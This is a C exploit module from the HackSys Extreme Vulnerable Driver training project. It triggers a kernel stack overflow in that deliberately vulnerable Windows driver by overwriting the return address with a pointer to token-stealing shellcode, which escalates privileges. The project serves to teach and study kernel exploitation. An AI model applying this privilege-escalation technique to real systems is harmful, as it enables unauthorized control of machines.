mirror of
https://github.com/hacksysteam/HackSysExtremeVulnerableDriver
synced 2026-06-08 14:31:02 +00:00
Ashfaq Ansari
126 lines
4.5 KiB
C
126 lines
4.5 KiB
C
/*++
|
|
|
|
/$$ /$$ /$$ /$$$$$$
|
|
| $$ | $$ | $$ /$$__ $$
|
|
| $$ | $$ /$$$$$$ /$$$$$$$| $$ /$$| $$ \__/ /$$ /$$ /$$$$$$$
|
|
| $$$$$$$$ |____ $$ /$$_____/| $$ /$$/| $$$$$$ | $$ | $$ /$$_____/
|
|
| $$__ $$ /$$$$$$$| $$ | $$$$$$/ \____ $$| $$ | $$| $$$$$$
|
|
| $$ | $$ /$$__ $$| $$ | $$_ $$ /$$ \ $$| $$ | $$ \____ $$
|
|
| $$ | $$| $$$$$$$| $$$$$$$| $$ \ $$| $$$$$$/| $$$$$$$ /$$$$$$$/
|
|
|__/ |__/ \_______/ \_______/|__/ \__/ \______/ \____ $$|_______/
|
|
/$$ | $$
|
|
| $$$$$$/
|
|
\______/
|
|
|
|
|
|
Copyright (C) 2010-2015 HackSys Team. All rights reserved.
|
|
|
|
This file is part of HackSys Extreme Vulnerable Driver.
|
|
|
|
See the file 'LICENSE' for copying permission.
|
|
|
|
Author : Ashfaq Ansari
|
|
Contact: ashfaq_ansari1989[at]hotmail.com
|
|
Website: http://hacksys.vfreaks.com
|
|
|
|
Project Name:
|
|
HackSys Extreme Vulnerable Driver Exploit
|
|
|
|
Module Name:
|
|
StackOverflow.c
|
|
|
|
Abstract:
|
|
This module implements the exploit for Stack Overflow
|
|
Vulnerability implemented in HackSys Extreme Vulnerable
|
|
Driver.
|
|
|
|
--*/
|
|
|
|
#include "StackOverflow.h"
|
|
|
|
DWORD WINAPI StackOverflowThread(LPVOID lpParameter) {
|
|
HANDLE hFile = NULL;
|
|
DWORD lpBytesReturned;
|
|
PVOID pMemoryAddress = NULL;
|
|
PULONG pUserModeBuffer = NULL;
|
|
LPCSTR lpFileName = (LPCSTR)DEVICE_NAME;
|
|
PVOID pEopShellcode = &TokenStealingShellcodeWin7;
|
|
SIZE_T userModeBufferSize = (BUFFER_SIZE + RET_OVERWRITE) * sizeof(ULONG);
|
|
|
|
__try {
|
|
DEBUG_MESSAGE("\t[+] Setting Thread Priority\n");
|
|
|
|
if (!SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_HIGHEST)) {
|
|
DEBUG_ERROR("\t\t[-] Failed To Set As THREAD_PRIORITY_HIGHEST\n");
|
|
}
|
|
else {
|
|
DEBUG_INFO("\t\t[+] Priority Set To THREAD_PRIORITY_HIGHEST\n");
|
|
}
|
|
|
|
// Get the device handle
|
|
DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n");
|
|
DEBUG_INFO("\t\t[+] Device Name: %s\n", lpFileName);
|
|
|
|
hFile = GetDeviceHandle(lpFileName);
|
|
|
|
if (hFile == INVALID_HANDLE_VALUE) {
|
|
DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
else {
|
|
DEBUG_INFO("\t\t[+] Device Handle: 0x%X\n", hFile);
|
|
}
|
|
|
|
DEBUG_MESSAGE("\t[+] Setting Up Vulnerability Stage\n");
|
|
|
|
DEBUG_INFO("\t\t[+] Allocating Memory For Buffer\n");
|
|
|
|
pUserModeBuffer = (PULONG)HeapAlloc(GetProcessHeap(),
|
|
HEAP_ZERO_MEMORY,
|
|
userModeBufferSize);
|
|
|
|
if (!pUserModeBuffer) {
|
|
DEBUG_ERROR("\t\t\t[-] Failed To Allocate Memory: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
else {
|
|
DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", pUserModeBuffer);
|
|
DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", userModeBufferSize);
|
|
}
|
|
|
|
DEBUG_INFO("\t\t[+] Preparing Buffer Memory Layout\n");
|
|
|
|
RtlFillMemory((PVOID)pUserModeBuffer, userModeBufferSize, 0x41);
|
|
pMemoryAddress = (PVOID)(((ULONG)pUserModeBuffer + userModeBufferSize) - sizeof(ULONG));
|
|
*(PULONG)pMemoryAddress = (ULONG)pEopShellcode;
|
|
|
|
DEBUG_INFO("\t\t\t[+] RET Value: 0x%p\n", *(PULONG)pMemoryAddress);
|
|
DEBUG_INFO("\t\t\t[+] RET Address: 0x%p\n", pMemoryAddress);
|
|
|
|
DEBUG_INFO("\t\t[+] EoP Shellcode: 0x%p\n", pEopShellcode);
|
|
|
|
DEBUG_MESSAGE("\t[+] Triggering Kernel Stack Overflow\n");
|
|
|
|
OutputDebugString("****************Kernel Mode****************\n");
|
|
|
|
DeviceIoControl(hFile,
|
|
HACKSYS_EVD_IOCTL_STACK_OVERFLOW,
|
|
(LPVOID)pUserModeBuffer,
|
|
(DWORD)userModeBufferSize,
|
|
NULL,
|
|
0,
|
|
&lpBytesReturned,
|
|
NULL);
|
|
|
|
OutputDebugString("****************Kernel Mode****************\n");
|
|
|
|
HeapFree(GetProcessHeap(), 0, (LPVOID)pUserModeBuffer);
|
|
}
|
|
__except (EXCEPTION_EXECUTE_HANDLER) {
|
|
DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
return EXIT_SUCCESS;
|
|
}
|